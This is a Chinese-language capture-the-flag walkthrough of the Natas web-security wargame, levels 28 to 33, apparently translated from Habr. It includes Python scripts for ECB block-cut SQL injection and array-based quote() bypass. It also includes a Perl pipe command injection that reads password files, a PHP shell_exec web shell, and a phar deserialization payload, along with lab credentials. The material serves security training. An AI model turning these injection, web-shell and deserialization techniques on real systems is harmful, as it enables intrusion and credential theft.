Natas网站。 通过CTF平台旨在利用Web漏洞。 第5部分

图片

在本文中,我们将以Natas wargame为例来处理某些WEB身份的操作。 每个级别都可以访问下一个级别的密码。 所有密码也都存储在/ etc / natas_webpass /文件中。 例如,natas5的密码存储在文件/ etc / natas_webpass / natas5中,并且对于用户natas4和natas5是只读的。

过去的部分: 第1部分第2 部分第3 部分第4部分

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我还将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

第28级


发送任何请求,我们都会看到一个重定向到另一个页面的请求,该页面带有奇怪的请求和base64编码,该解码没有任何效果。

图片

我们将发送任何查询请求。 我们收到一个错误,清楚地表明重定向使用加密,并且在此页面上,请求已解密,然后再传输到数据库。 也就是说,我们需要加密注入并将其发送到服务器,但是我们不知道密钥。 但是我们有一个加密器-这是服务器。

图片

首先,让我们处理加密。 我们将发送两条不同的行“ qwerty”和“ asdfgh”,并分析它们将如何转换。

图片

作为响应,我们得到相同的线,在特定位置具有不同的顺序。 由于两台PC的开头和结尾(密文)相同,因此我们可以得出以下结论:

  • 使用OT的初始补语(纯文本);
  • OT还有最后的补充;
  • 之所以使用ECB模式,是因为在不同的OT,CT的最后一个块是相同的,也就是说,这些块彼此独立。

想法是这样的:我们将查询发送到数据库以进行加密,但是它将被转换,因此在解密时注入不会通过。 有必要处理附加组件,以准确计算有效负载将被加密的块。 然后,在加密之后,我们将从请求中获取我们的块,并将其仅发送到服务器。 在服务器上,由于它们没有附加组件,因此它们将被解密并执行。

这个想法以四个图像呈现:

  1. 演示5块。
  2. 带有开头和结尾添加项的编码器,可对一个空字符串进行加密。
  3. 字符串“ TEXTTEXTTEXTTEXT”的加密。
  4. 通过在行的前面和后面添加所需数量的字符以将其放在单独的块中,我们摆脱了添加。 我们仅从PC取第二块。

图片

这样,我们仅在未知密钥上收到了我们的加密字符串!

所需数据:

  1. 加密模式(已知-ECB)
  2. 块长度(已知-16)
  3. 初始附加长度(未知)
  4. 我们的文字长度(已知-“ SELECT密码”
    作为用户的笑话”)

有必要找出初始填充的长度。 由于前两个块相同,因此我们将发送不同数量的字符,并且在第三个块停止更改后,我们将找到对其进行补充所需的字符数。 这是10个字符。 以下是上述算法的实现。

import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result) 

图片

我们得到密码。

第29级


很难猜测perl代码会调用命令行功能并将数据文件(您可以选择)中指定的命令传递给该命令。 事实是,我们可以从“ exec | read_command_file“在”执行程序| read_command | our_smd_command。”

图片

但是事实是我们的团队将显示在控制台上,而不是网站上。 为此,添加以下命令来替换输入/输出流中的字符: tr`before` after`。

图片

由于命令已完成,因此我们将从指定的文件中读取密码。 但是我们被告知我们不能这样做...

图片

我们将使用命令行过滤,并在执行命令时将要删除的任何位置插入引号。

图片

我们拿走密码。

30级


让我们看一下源代码。 这里使用quote()方法,该方法转义字符串中的所有特殊字符。 但是它恰好在字符串中转义,因此,如果我们使用了数组,则赋予我们进行注入操作的权利(在这种情况下,将接受零元素)。

图片

让我们为请求量

 Select * FROM users where username = 'username' and password = 'password'; 

因为我们知道用户名是natas31,所以我们在密码中输入正确的条件:“”或1。然后我们的请求将变成这样

 Select * FROM users where username = 'natas31' and password = '' or 1; 

现在仍然可以发送数组。

 import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text) 

图片

我们拿走密码。

31级


服务的本质立即变得清晰:从csv文件中,我们以html形式获取表。

图片

让我们看一下源代码。

图片

因此,最有趣的是:while行(<$ file>),而file是参数中的行。 因此,可以执行代码。

图片

发送任何csv文件并在Burp Suite中拦截该请求。

图片

现在,将命令添加为参数。
 ?/bin/cat%20/etc/natas_webpass/natas32%20| 


图片

要从参数调用负载,请添加以下行:

 -----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV 

图片

图片

我们得到密码。

第32级


我们打开页面,告诉我们需要证明代码的执行并执行webroot文件。

图片

如果看一下代码,它与上一级别完全相同。 然后,我们将漏洞作为最后一次利用。 让我们找到webroot文件。 为此,请使用以下命令查看目录:ls -la |

图片

获取文件列表。 Webroot不存在,但是有一个奇怪的程序getpassword。
我们执行它。

图片

图片

我们获得了最后一级的密码。

图片

第33级


再次是文件上传表单。

图片

让我们看一下源代码。

图片

因此,我们必须将最大大小为4 MB的文件上传到服务器,并且如果文件内容的md5等于参考值,它将在php解释器中执行。 我们进一步看。 我们可以控制文件名及其内容。

图片

我将立即说这是我半年前遇到的一个复杂漏洞。 我们的目标是可以将任何类型的文件上传到服务器,并且将对其内容进行任何操作。 关于phar文件写在这里 。 简而言之,代表序列化数据的特殊php归档文件。 在这种情况下,读取phar流将导致代码执行。 因此,您可以序列化代码并将其发送到服务器。 计算md5时,将读取流-这将导致代码执行。

因此,首先创建一个读取该标志的php文件。

 <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?> 

将其上传到服务器。 不要忘记在Burp Suite中更改名称。

图片

图片

我们得到服务器的响应。 现在创建一个phar归档文件,该归档文件在执行时将更改我们需要的值(哈希值始终正确,并且已经上载到服务器的文件名)。 因此,我们将通过检查,服务器将执行shell.php。

 <?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?> 

在编译/etc/php/xx/php.ini文件之前,您需要将phar.readonly参数更改为Off。

图片

接下来,执行php shell.php,我们得到.phar文件。 我们将其发送到服务器并更改名称。

图片

所以我们有两个文件:存档和外壳。 现在,您需要从存档中读取文件,这将导致代码执行。

图片

我们得到密码。

图片

那是纳塔斯的场地。 您可以通过Telegram加入我们。

Source: https://habr.com/ru/post/zh-CN465363/


All Articles